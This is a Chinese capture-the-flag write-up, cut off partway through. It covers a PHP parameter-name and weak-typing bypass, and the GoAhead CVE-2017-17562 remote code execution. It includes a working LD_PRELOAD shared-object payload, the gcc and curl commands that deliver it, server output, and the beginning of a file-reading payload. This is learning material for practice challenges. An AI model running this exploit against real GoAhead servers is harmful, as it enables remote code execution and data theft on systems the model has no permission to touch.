沙发沙发
前言
渣渣一枚,萌新一个,划了安恒杯秋季选拔赛,题目扎心(Orz.jpg)
个人写的writrup大佬轻喷(QAQ)
一:奇怪的恐龙特性
这是我做的第一题,感觉还可以一道代码审计的题目,发现了一个我以前没见过的知识点,可以详细看看这个链接
https://bugs.shuimugan.com/bug/view?bug_no=64792
从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']
里面类似的参数的时候,我们在url
上可以这样a.php?user.id
传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']
的值,同样可以绕过的符号还有+``.``[
等,应该说是php
的一个小特性,上面讲的很清楚了
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
阅读代码发现,首先第一步要绕过A_A
这个符号,如果出现这个符号他就会显示A_A,have fun
,就不能继续往下面执行到file_get_contents('flag.php')
了,
但是我们发送get
参数的时候又必须要发送,因此我们就用到刚才的知识点,我们可以用A.A
或者是A+A
去传参去绕过。
下面的代码就是常规的数字绕过了,但这里也用到了一个trick
,就是无论你的数字多大,对于数组而言总是比数组小,下面是操作
所以说,我们可以利用数组去绕过$str<9999999999
的特性,下面一个判断是强制转化为字符串在与数字比较的判断,
这就是平常操作很多的弱类型了,直接让参数等于admin
就可以了,因为“admin”== 0
,结果是true
,直接等于0绕过即可,所以这题的payload
http://114.55.36.69:8022/?A.A[]=admin
或者使用
http://114.55.36.69:8022/?A+A[]=admin
然后查看源代码就会得到:flag={09bc24026c987ae44a6e424479b2e3}
二:GOGOGO
这题拿到题目发现无法访问,扫了下端口,发现是8080端口开放
进去后可以看见Hello gogogo
感觉没什么用,抓了个包看看,发现是goahead
于是搜了一波,发现有CVE:
GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)
附上Freebuf的一篇文章http://www.freebuf.com/vuls/158089.html
漏洞利用也非常简单
payload.c
# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
然后gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so
然后攻击
curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
可以得到回显
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
只要出现hello: World!就说明攻击成功了
那么下面构造我们的攻击payload
首先是找文件的绝对路径 使用c语言进行操作,c语言实现执行命令的脚本网上一搜一大堆,
最后发现是www目录下的goahead文件夹
然后读文件
#include "stdio.h"
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";
FILE *fp;
char StrLine[1024];